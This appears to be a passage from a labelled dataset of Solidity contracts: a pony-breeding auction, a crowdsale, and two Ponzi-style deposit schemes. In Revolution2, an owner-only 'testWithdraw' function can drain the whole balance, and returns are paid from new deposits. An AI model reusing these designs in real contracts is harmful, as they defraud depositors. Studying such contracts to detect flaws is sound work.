uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
require(msg.sender == address(nonFungibleContract));
address seller = tokenIdToAuction[_tokenId].seller;
_bid(_tokenId, msg.value);
_transfer(seller, _tokenId);
}
}
contract SaleClockAuction is ClockAuction {
bool public isSaleClockAuction = true;
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
function SaleClockAuction(address _nftAddr, uint256 _cut) public
ClockAuction(_nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
if (seller == address(nonFungibleContract)) {
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
contract PonyAuction is PonyBreeding {
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function setSiringAuctionAddress(address _address) external onlyCEO {
SiringClockAuction candidateContract = SiringClockAuction(_address);
require(candidateContract.isSiringClockAuction());
siringAuction = candidateContract;
}
function createSaleAuction(
uint256 _PonyId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _PonyId));
require(!isPregnant(_PonyId));
_approve(_PonyId, saleAuction);
saleAuction.createAuction(
_PonyId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function createSiringAuction(
uint256 _PonyId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _PonyId));
require(isReadyToBreed(_PonyId));
_approve(_PonyId, siringAuction);
siringAuction.createAuction(
_PonyId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function bidOnSiringAuction(
uint256 _sireId,
uint256 _matronId
)
external
payable
whenNotPaused
{
require(_owns(msg.sender, _matronId));
require(isReadyToBreed(_matronId));
require(_canBreedWithViaAuction(_matronId, _sireId));
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
require(msg.value >= currentPrice + autoBirthFee);
siringAuction.bid.value(msg.value - autoBirthFee)(_sireId);
_breedWith(uint32(_matronId), uint32(_sireId));
}
function withdrawAuctionBalances() external onlyCLevel {
saleAuction.withdrawBalance();
siringAuction.withdrawBalance();
}
}
contract PonyMinting is PonyAuction {
uint256 public constant PROMO_CREATION_LIMIT = 5000;
uint256 public constant GEN0_CREATION_LIMIT = 45000;
uint256 public constant GEN0_STARTING_PRICE = 10 finney;
uint256 public constant GEN0_AUCTION_DURATION = 1 days;
uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
function createPromoPony(uint256 _genes, address _owner) external onlyCOO {
address PonyOwner = _owner;
if (PonyOwner == address(0)) {
PonyOwner = cooAddress;
}
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createPony(0, 0, 0, _genes, PonyOwner);
}
function createGen0Auction(uint256 _genes) external onlyCOO {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
uint256 PonyId = _createPony(0, 0, 0, _genes, address(this));
_approve(PonyId, saleAuction);
saleAuction.createAuction(
PonyId,
_computeNextGen0Price(),
0,
GEN0_AUCTION_DURATION,
address(this)
);
gen0CreatedCount++;
}
function _computeNextGen0Price() internal view returns (uint256) {
uint256 avePrice = saleAuction.averageGen0SalePrice();
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < GEN0_STARTING_PRICE) {
nextPrice = GEN0_STARTING_PRICE;
}
return nextPrice;
}
}
contract PonyCore is PonyMinting {
address public newContractAddress;
function PonyCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
_createPony(0, 0, 0, uint256(-1), address(0));
}
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function() external payable {
require(
msg.sender == address(saleAuction) ||
msg.sender == address(siringAuction)
);
}
function getPony(uint256 _id)
external
view
returns (
bool isGestating,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes
) {
Pony storage pony = Poniesies[_id];
isGestating = (pony.siringWithId != 0);
isReady = (pony.cooldownEndBlock <= block.number);
cooldownIndex = uint256(pony.cooldownIndex);
nextActionAt = uint256(pony.cooldownEndBlock);
siringWithId = uint256(pony.siringWithId);
birthTime = uint256(pony.birthTime);
matronId = uint256(pony.matronId);
sireId = uint256(pony.sireId);
generation = uint256(pony.generation);
genes = pony.genes;
}
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(siringAuction != address(0));
require(geneScience != address(0));
require(newContractAddress == address(0));
super.unpause();
}
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
uint256 subtractFees = (pregnantPoniesies + 1) * autoBirthFee;
if (balance > subtractFees) {
cfoAddress.send(balance - subtractFees);
}
}
} | 0 | 2,014 |
pragma solidity ^0.4.25;
contract Formula1Game {
address constant private PROMO1 = 0x43D5bE543CFB01F62b8Df6070149A8eE7E49b39B;
address constant private PROMO2 = 0x38bF70b7b45cd09aB56C137522f2360C7B060d3C;
address constant private TECH = 0xbc6807e9BAdFbc2c8d8629cC72ECCDDA9CDec933;
uint constant public PROMO_PERCENT1 = 8;
uint constant public PROMO_PERCENT2 = 1;
uint constant public TECH_PERCENT = 3;
uint constant public MULTIPLIER = 125;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= 0.05 ether && msg.value <= 0.15 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo1 = msg.value*PROMO_PERCENT1/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT2/100;
PROMO2.send(promo2);
uint tech = msg.value*TECH_PERCENT/100;
TECH.send(tech);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 905 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract InvestorsStorage is Accessibility {
struct Investment {
uint value;
uint date;
bool partiallyWithdrawn;
bool fullyWithdrawn;
}
struct Investor {
uint overallInvestment;
uint paymentTime;
Investment[] investments;
Percent.percent individualPercent;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].overallInvestment > 0;
}
function investorInfo(address addr) returns(uint overallInvestment, uint paymentTime, Investment[] investments, Percent.percent individualPercent) {
overallInvestment = investors[addr].overallInvestment;
paymentTime = investors[addr].paymentTime;
investments = investors[addr].investments;
individualPercent = investors[addr].individualPercent;
}
function updatePercent(address addr) private {
uint investment = investors[addr].overallInvestment;
if (investment < 1 ether) {
investors[addr].individualPercent = Percent.percent(3,100);
} else if (investment >= 1 ether && investment < 10 ether) {
investors[addr].individualPercent = Percent.percent(4,100);
} else if (investment >= 10 ether && investment < 50 ether) {
investors[addr].individualPercent = Percent.percent(5,100);
} else if (investment >= 150 ether && investment < 250 ether) {
investors[addr].individualPercent = Percent.percent(7,100);
} else if (investment >= 250 ether && investment < 500 ether) {
investors[addr].individualPercent = Percent.percent(10,100);
} else if (investment >= 500 ether && investment < 1000 ether) {
investors[addr].individualPercent = Percent.percent(11,100);
} else if (investment >= 1000 ether && investment < 2000 ether) {
investors[addr].individualPercent = Percent.percent(14,100);
} else if (investment >= 2000 ether && investment < 5000 ether) {
investors[addr].individualPercent = Percent.percent(15,100);
} else if (investment >= 5000 ether && investment < 10000 ether) {
investors[addr].individualPercent = Percent.percent(18,100);
} else if (investment >= 10000 ether && investment < 30000 ether) {
investors[addr].individualPercent = Percent.percent(20,100);
} else if (investment >= 30000 ether && investment < 60000 ether) {
investors[addr].individualPercent = Percent.percent(27,100);
} else if (investment >= 60000 ether && investment < 100000 ether) {
investors[addr].individualPercent = Percent.percent(35,100);
} else if (investment >= 100000 ether) {
investors[addr].individualPercent = Percent.percent(100,100);
}
}
function newInvestor(address addr, uint investmentValue, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment != 0 || investmentValue == 0) {
return false;
}
investors[addr].overallInvestment = investmentValue;
investors[addr].paymentTime = paymentTime;
investors[addr].investments.push(Investment(investmentValue, paymentTime, false, false));
size++;
return true;
}
function addInvestment(address addr, uint value) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment == 0) {
return false;
}
investors[addr].overallInvestment += value;
investors[addr].investments.push(Investment(value, now, false, false));
updatePercent(addr);
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function withdrawBody(address addr, uint limit) public onlyOwner returns (uint) {
Investment[] investments = investors[addr].investments;
uint valueToWithdraw = 0;
for (uint i = 0; i < investments.length; i++) {
if (!investments[i].partiallyWithdrawn && investments[i].date <= now - 30 days && valueToWithdraw + investments[i].value/2 <= limit) {
investments[i].partiallyWithdrawn = true;
valueToWithdraw += investments[i].value/2;
investors[addr].overallInvestment -= investments[i].value/2;
}
if (!investments[i].fullyWithdrawn && investments[i].date <= now - 60 days && valueToWithdraw + investments[i].value/2 <= limit) {
investments[i].fullyWithdrawn = true;
valueToWithdraw += investments[i].value/2;
investors[addr].overallInvestment -= investments[i].value/2;
}
return valueToWithdraw;
}
return valueToWithdraw;
}
function disqualify(address addr) public onlyOwner returns (bool) {
investors[addr].overallInvestment = 0;
investors[addr].investments.length = 0;
}
}
contract Revolution2 is Accessibility {
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvestment = 50 finney;
uint public constant maxBalance = 8888e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_referal_percent = Percent.percent(5,100);
Percent.percent private m_referrer_percent = Percent.percent(15,100);
Percent.percent private m_adminsPercent = Percent.percent(5, 100);
Percent.percent private m_advertisingPercent = Percent.percent(5, 100);
Percent.percent private m_firstBakersPercent = Percent.percent(10, 100);
Percent.percent private m_tenthBakerPercent = Percent.percent(10, 100);
Percent.percent private m_fiftiethBakerPercent = Percent.percent(15, 100);
Percent.percent private m_twentiethBakerPercent = Percent.percent(20, 100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvestment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqualify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function testWithdraw(address addr) public onlyOwner {
addr.transfer(address(this).balance);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint overallInvestment, uint paymentTime, Percent.percent individualPercent, InvestorsStorage.Investment[] investments) {
(overallInvestment, paymentTime, investments, individualPercent) = m_investors.investorInfo(investorAddr);}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 1 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvestment, "investment must be >= minInvestment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (investmentsNumber % 20 == 0) {
investment += m_twentiethBakerPercent.mmul(investment);
} else if(investmentsNumber % 15 == 0) {
investment += m_fiftiethBakerPercent.mmul(investment);
} else if(investmentsNumber % 10 == 0) {
investment += m_tenthBakerPercent.mmul(investment);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
if (investmentsNumber <= 50) {
investment += m_firstBakersPercent.mmul(investment);
}
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvestment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint overallInvestment, uint paymentTime, InvestorsStorage.Investment[] memory investments, Percent.percent memory individualPercent) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(overallInvestment, paymentTime, investments, individualPercent);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.overallInvestment.isZero() || now.sub(investor.paymentTime) < 1 hours) {
return 0;
}
Percent.percent memory p = investor.individualPercent;
dividends = (now.sub(investor.paymentTime) / 1 hours) * p.mmul(investor.overallInvestment) / 24;
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
emit LogNextWave(now);
}
} | 0 | 631 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
